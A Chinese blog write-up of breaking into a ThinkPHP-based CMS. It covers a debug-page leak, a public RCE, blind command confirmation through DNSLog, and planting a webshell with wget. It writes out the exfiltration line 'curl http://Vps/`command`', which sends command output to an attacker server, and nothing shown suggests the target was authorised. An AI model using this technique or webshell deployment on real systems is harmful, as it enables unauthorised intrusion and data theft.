每天一个入狱小技巧——无回显Rce到Getshell

阳光穿透心脏的1/2处 2021-09-02 08:18 473阅读 0赞

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzMzNjA4MDAw_size_16_color_FFFFFF_t_70_pic_center]

--------------------

QQ 1274510382  
Wechat JNZ\_aming  
商业联盟 QQ群538250800  
技术搞事 QQ群599020441  
解决方案 QQ群152889761  
加入我们 QQ群649347320  
共享学习 QQ群674240731  
纪年科技aming  
网络安全 ,深度学习,嵌入式,机器强化,生物智能,生命科学。

## 纸上得来终觉浅,绝知此事要躬行 ！！！寻找志同道合伙伴抱团创业中。。。 ##

--------------------

信息收集过程中找到一个登陆界面  
测试逻辑漏洞过程中，修改参数的时候爆出了Debug

![在这里插入图片描述][20201101232407535.png_pic_center]  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzMzNjA4MDAw_size_16_color_FFFFFF_t_70_pic_center 1]  
通过Debug信息得知,这是一个thinphp的cms

之前thinkphp的日志泄露漏洞屡试不爽，于是想先找日志

![在这里插入图片描述][20201101232443479.png_pic_center]  
通过Debug可以得知他的根目录在/www/wwwroot/devorder/public

访问Public目录下的文件，访问不到runtime目录，只能另辟蹊径  
![在这里插入图片描述][20201101232510991.png_pic_center]  
在最下边找到了Cms的版本号，于是去网上找这个版本公开的漏洞  
![在这里插入图片描述][20201101232526209.png_pic_center]  
经过寻找、测试，发现存在由变量覆盖导致的Rce漏洞  
具体漏洞分析可以参考 https://blog.csdn.net/xuandao\_ahfengren/article/details/86333189

直接使用网上的Payload提示执行命令的函数被禁用，估计是Disable\_function的作用

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzMzNjA4MDAw_size_16_color_FFFFFF_t_70_pic_center 2]  
其中有几个执行命令的函数发送请求后会直接返回登陆界面，未知执行状态

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzMzNjA4MDAw_size_16_color_FFFFFF_t_70_pic_center 3]  
于是找了一个在线的DnsLog平台，这种平台会随机给一个子域名。  
如果对子域名发送Http、Icmp的包，平台就会接收到数据包，从而判断命令是否执行。  
这种方式在sql注入中这种方式也有奇效。

具体使用方法可以参考这位师傅写的文章:https://www.cnblogs.com/sstfy/p/10351807.html

在这里执行了几次Ping之后还是收不到返回，猜测可能Icmp包被拦了，改为用Curl请求子域名  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzMzNjA4MDAw_size_16_color_FFFFFF_t_70_pic_center 4]  
成功收到请求  
![在这里插入图片描述][20201101232758460.png_pic_center]  
这种在线的只能简单的验证是否存在Rce，无法获得命令回显。

如果想获得命令回显，可以使用在线的Ceye平台来接收回显。

也可以使用自己的Vps来接收回显

在Vps开启Web服务或防火墙没有禁用Icmp的时候，发送Http或Icmp包后会在日志中留下记录，直接查看日志记录即可获得命令回显。

例如：

curl http://Vps/`command`

这里使用返单引号将要执行的命令包裹，原理是在Linux中执行命令会首先执行反单引号中的命令，并将其结果输出。  
这段代码在执行完whoami后，会将返回的值拼接到http://Vps/ 后。

我这里选择开启Web服务  
再看这次返回结果，日志中的访问记录是http://Vps/www ，可以得知目标系统是Linux，并且使用WWW权限开启的Web服务。

![在这里插入图片描述][20201101232856678.png_pic_center]  
Getshell  
尝试了bash反弹Shell的方式没有弹回来。  
这里不知道为什么使用echo >> 的方法写不进去，最后使用Wget下载文件到指定目录。

以上两个问题，有知道的师傅方便的话通过评论告我一声，先行谢过。  
通过Debug中的绝对路径写WebShell后找不到写的Webshell，于是在Web目录下查找登陆界面，成功得到真.绝对路径。

![在这里插入图片描述][20201101232922640.png_pic_center]  
将Webshell写在VPS中，再次使用Wget下载Webshell到真.绝对路径，成功Getshell。

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzMzNjA4MDAw_size_16_color_FFFFFF_t_70_pic_center 5]

[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzMzNjA4MDAw_size_16_color_FFFFFF_t_70_pic_center]: /images/20210725/f2021eb22ef44369af6fe50077074804.png
[20201101232407535.png_pic_center]: /images/20210725/6bd0b0872ace4e45a490d399e9e0f5e6.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzMzNjA4MDAw_size_16_color_FFFFFF_t_70_pic_center 1]: /images/20210725/03a9bc39bc5d476b9a7144f97fdb2744.png
[20201101232443479.png_pic_center]: /images/20210725/91c61709f3a44222b7af0931053c2da3.png
[20201101232510991.png_pic_center]: /images/20210725/791dae1ec8c04ec7913230d1300783b7.png
[20201101232526209.png_pic_center]: /images/20210725/d21172c47f2749a5bfe5f2c22ff448f4.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzMzNjA4MDAw_size_16_color_FFFFFF_t_70_pic_center 2]: /images/20210725/9fa0f429c1a447509aabcbff8249d9eb.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzMzNjA4MDAw_size_16_color_FFFFFF_t_70_pic_center 3]: /images/20210725/6bb3ca0c6bf14c0fb63488324801a1b1.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzMzNjA4MDAw_size_16_color_FFFFFF_t_70_pic_center 4]: /images/20210725/0a5b86fca1084dfbacc78371752158b6.png
[20201101232758460.png_pic_center]: /images/20210725/94a5cb59585c4310869f99d70aaadeb0.png
[20201101232856678.png_pic_center]: /images/20210725/bb76bc8951bf4c019e78874fad7690b7.png
[20201101232922640.png_pic_center]: /images/20210725/d0cad81076ea49249413f60658daedfd.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzMzNjA4MDAw_size_16_color_FFFFFF_t_70_pic_center 5]: /images/20210725/088ed53cab264394a446b89fa7adbd37.png